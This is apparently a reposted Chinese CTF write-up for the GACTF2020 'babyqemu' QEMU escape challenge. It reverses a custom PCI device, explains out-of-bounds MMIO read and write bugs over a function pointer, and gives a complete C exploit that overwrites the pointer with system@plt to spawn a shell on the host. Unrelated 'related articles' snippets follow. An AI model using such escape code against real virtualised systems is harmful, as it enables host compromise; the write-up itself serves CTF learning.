【qemu逃逸】GACTF2020-babyqemu

前言

虚拟机用户名:root

无密码

设备逆向

题目去掉的符号,经过逆向分析,实例结构体如下:

可以看到 arr_int_8 数组后面存在一个函数指针,不用想基本上就是劫持该函数指针了。

denc_mmio_read 函数

这里存在越界读,在上面实例结构体中,arr_int_8 数组的大小为 8,而这里的下标达到了 9,所以刚好可以越界读取 func 的地址。

denc_mmio_write 函数

同理,这里也存在越界写,并且刚好可以写到 func,但是这里存在一个问题,就是每次写之前都会将数据进行异或。

异或的数据 data 是在实例初始化时设置的,这里设置的算法很复杂,基本上不考虑去逆向。

但是这里我们是可以配合 mmio_read 函数去直接泄漏 data 中的数据的,只需要让 mmio_write 的 val 等于 0 即可,然后在用 mmio_read 读出来。

denc_pmio_read 函数

该函数是正常读取,没有问题。 

denc_pmio_write 函数

该函数写入是正常的,当 addr = 0x660 时,会调用函数指针,参数为 arr_int_8 首地址。

注意这里存在花指令:

就是这个位置,大家 patch 掉就行了 

漏洞利用

其实就很简单了

1、利用 mmio_read 越界读泄漏 func 地址从而计算出 system@plt 地址

2、利用 mmio_write/mmio_read 泄漏异或 data

3、利用 mmio_write 越界写将 func 函数指针指向 system@plt

4、将 cmd 写入 arr_int_8

5、然后 mmio_write(0x660, 0) 触发即可

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>void * mmio_base;
uint64_t pmio_base = 0xc000;void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);printf("[+] mmio_base: %#p\n", mmio_base);if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}void pmio_init()
{if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}uint32_t mmio_read(uint64_t offset)
{return *(uint32_t*)(mmio_base + (offset << 2));
}void mmio_write(uint64_t offset, uint32_t val)
{*(uint32_t*)(mmio_base + (offset << 2)) = val;
}uint32_t pmio_read(uint64_t offset)
{return inl(pmio_base + (offset << 2));
}void pmio_write(uint64_t offset, uint64_t val)
{outl(val, pmio_base + offset);
}int main(int argc, char** argv, char** envp)
{mmio_init();pmio_init();uint64_t func_addr = mmio_read(8);func_addr = func_addr | (1ULL * mmio_read(9) << 32);uint64_t system_plt = func_addr - 0x3A9EA8 + 0x2CCB60;printf("[+] func_addr: %#p\n", func_addr);printf("[+] system@plt addr: %#p\n", system_plt);uint32_t data[10];for (int i = 0; i < 10; i++){mmio_write(i, 0);data[i] = mmio_read(i);printf(" [+] data[%d]: %#x\n", i, data[i]);}mmio_write(0, data[0]^0x6873);mmio_write(8, data[8]^(system_plt&0xffffffff));mmio_write(9, data[9]^((system_plt>>32)&0xffffffff));pmio_write(0x660, 0);puts("[+] End!");return 0;
}

效果如下: 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/133259.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

盘点苹果手机导出照片到电脑的3个方法!

大家都知道&#xff0c;手机中的照片是非常占用空间的。特别是对喜欢拍照的女生来说&#xff0c;每一张照片都很珍贵&#xff0c;并且也不舍得删除&#xff0c;所以想要将照片导出到电脑上进行保存。这样&#xff0c;也方便以后进行恢复与查看。 对于想要将苹果手机上的照片导…

英飞凌TLF35584规格书中文

官网&#xff1a; 英飞凌TLF35584QVVS2 TLF35584_SPI&#xff1a; 1 Overview2 Block Diagram3 Pin Configuration3.1 Pin Assignment - PG-VQFN-48 4 General Product Characteristics4.1 Absolute Maximum Ratings 绝对最大额定值4.2 Functional Range4.3 Thermal Resistance…

【Spring】bean的配置

文章目录 1. 前言2. name3. lazy-init4. init-method5. destroy-method6. factory-method和factory-bean 1. 前言 在之前的文章中.写到过bean的常用配置,当时只是介绍了bean标签中的常用属性配置:class,id和scope这三个属性. 不熟的小伙伴可以看一下这篇文章:【Spring】IOC容器…

利用mybatis-plus的分页插件在xml文件中联表查询实现分页(MySQL数据库)

文章目录 准备工作Mybatis-Plus分页插件配置进行分页测试domain层Controller层Service层ServiceImplMapper层分页接口测试带其他条件的分页查询 自定义的 mapper#method&#xff08;xml文件中&#xff09; 使用分页domain层Controller层Service层ServiceImplMapper层UserMapper…

在搜索引擎中屏蔽csdn

csdn是一个很好的技术博客&#xff0c;里面信息很丰富&#xff0c;我也喜欢在csdn上做技术笔记。 但是CSDN体量太大&#xff0c;文章质量良莠不齐。当在搜索引擎搜索技术问题时&#xff0c;搜索结果中CSDN的内容占比太多&#xff0c;导致难以从其他优秀的博客平台中获取信息。因…

Python机器学习算法入门教程(第三部分)

接着Python机器学习算法入门教程&#xff08;第二部分&#xff09;&#xff0c;继续展开描述。 十三、sklearn实现KNN分类算法 Pyhthon Sklearn 机器学习库提供了 neighbors 模块&#xff0c;该模块下提供了 KNN 算法的常用方法&#xff0c;如下所示&#xff1a; 类方法说明…

《国产服务器操作系统发展报告(2023)》重磅发布

11月1日&#xff0c;《国产服务器操作系统发展报告&#xff08;2023&#xff09;》&#xff08;以下简称“报告”&#xff09;在 2023 云栖大会上正式发布&#xff0c;开放原子开源基金会理事长孙文龙、中国信息通信研究院副总工程师石友康、阿里云基础软件部副总裁马涛、浪潮信…

最新版Office2024安装教程

一. 介绍&#xff1a;Office版本都是每三年发布一个版本&#xff0c;从Office 2007、2010、2013、2016、2019&#xff0c;2021到现在的2024。 二. 下载&#xff1a; http://dt1.8tupian.net/2/29913a54b1000.pg3三. 安装教程&#xff1a; 1.用到的软件是开源的脚本&#xff0c…

Docker与微服务实战——基础篇

Docker与微服务实战——基础篇 第一章 Docker 简介1.1 docker 理念1.2 容器与虚拟机比较 第二章 Docker 安装2.1 前提说明2.2 Docker的基本组成2.2.1 镜像&#xff08;image&#xff09;2.2.2 容器&#xff08;container&#xff09;2.2.3 仓库&#xff08;repository&#xff…

VLAN与配置

VLAN与配置 什么是VLAN 以最简单的形式为例。如下图&#xff0c;此时有4台主机处于同一局域网中&#xff0c;很明显这4台主机是能够直接通讯。但此时我需要让处于同一局域网中的PC3和PC4能通讯&#xff0c;PC5和PC6能通讯&#xff0c;并且PC3和PC4不能与PC5和PC6通讯。 为了实…

笔记本电脑 禁用/启用 自带键盘

现在无论办公还是生活 很多人都会选择笔记本电脑 但很多人喜欢机械键盘 或者 用一些外接键盘 但是很多时候我们想操作 会碰到笔记本原来的键盘导致错误操作 那么 我们就需要将笔记本原来的键盘禁用掉 我们先以管理员身份运行命令窗口 然后 有两个命令 禁用默认键盘 sc conf…

你犯过程序员容易犯的这些错误吗?快来看看!

一、前言 写了20多年代码&#xff0c;我见过不下于4位数的程序员&#xff0c;我觉得程序员的能力水平可以分为4个阶段&#xff1a;线性级、逻辑级、架构级和工程级。 同样的在这些人当中&#xff0c;我也发现了8个程序员最常见的陋习&#xff0c;基本上可以覆盖90%的人&#…

GPT学习笔记

百度的文心一言 阿里的通义千问 通过GPT能力&#xff0c;提升用户体验和产品力 GPT的出现是AI的iPhone时刻。2007年1月9日&#xff0c;第一代iPhone发布&#xff0c;开启移动互联网时代。新一轮的产业革命。 GPT模型发展时间线&#xff1a; Copilot - 副驾驶 应用&#xf…

大数据毕业设计选题推荐-家具公司运营数据分析平台-Hadoop-Spark-Hive

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

在Windows或Mac上安装并运行LLAMA2

LLAMA2在不同系统上运行的结果 LLAMA2 在windows 上运行的结果 LLAMA2 在Mac上运行的结果 安装Llama2的不同方法 方法一&#xff1a; 编译 llama.cpp 克隆 llama.cpp git clone https://github.com/ggerganov/llama.cpp.git 通过conda 创建或者venv. 下面是通过conda 创建…

我的崽崽跑着跑就长大了

一瞬间感觉你都长这么大了&#xff0c;看着你骑单车的背影&#xff0c;不知不觉心里感觉到有点酸酸的&#xff0c;回头想想看着你&#xff0c;一个人带你在累&#xff0c;在苦都值得&#xff0c;萌娃骑车。 你的可爱能治愈我的一切不快乐。

大数据商城人流数据分析与可视化 - python 大数据分析 计算机竞赛

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于大数据的基站数据分析与可视化 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度…

Linux内核移植之主频设置

一. Linux内核移植 正点原子 ALPHA开发板已经添加到 Linux内核里面去了&#xff0c;前面文章关于如何添加已经掌握。但是&#xff0c;还有一些驱动的问题需要修改。 正点原子 I.MX6U-ALPHA 开发板所使用的 I.MX6ULL 芯片主频都是 792MHz 的&#xff0c;也就是NXP 官方宣…

[pytorch]手动构建一个神经网络并且训练

0.写在前面 上一篇博客全都是说明类型的,实际代码能不能跑起来两说,谨慎观看.本文中直接使用fashions数据实现softmax的简单训练并且完成结果输出.实现一个预测并且观测到输出结果. 并且更重要的是,在这里对一些训练的过程,数据的形式,以及我们在softmax中主要做什么以及怎么…

19.7 Boost Asio 传输序列化数据

序列化和反序列化是指将数据结构或对象转换为一组字节&#xff0c;以便在需要时可以将其存储在磁盘上或通过网络传输&#xff0c;并且可以在需要时重新创建原始对象或数据结构。 序列化是将内存中的对象转换为字节的过程。在序列化期间&#xff0c;对象的状态被编码为一组字节…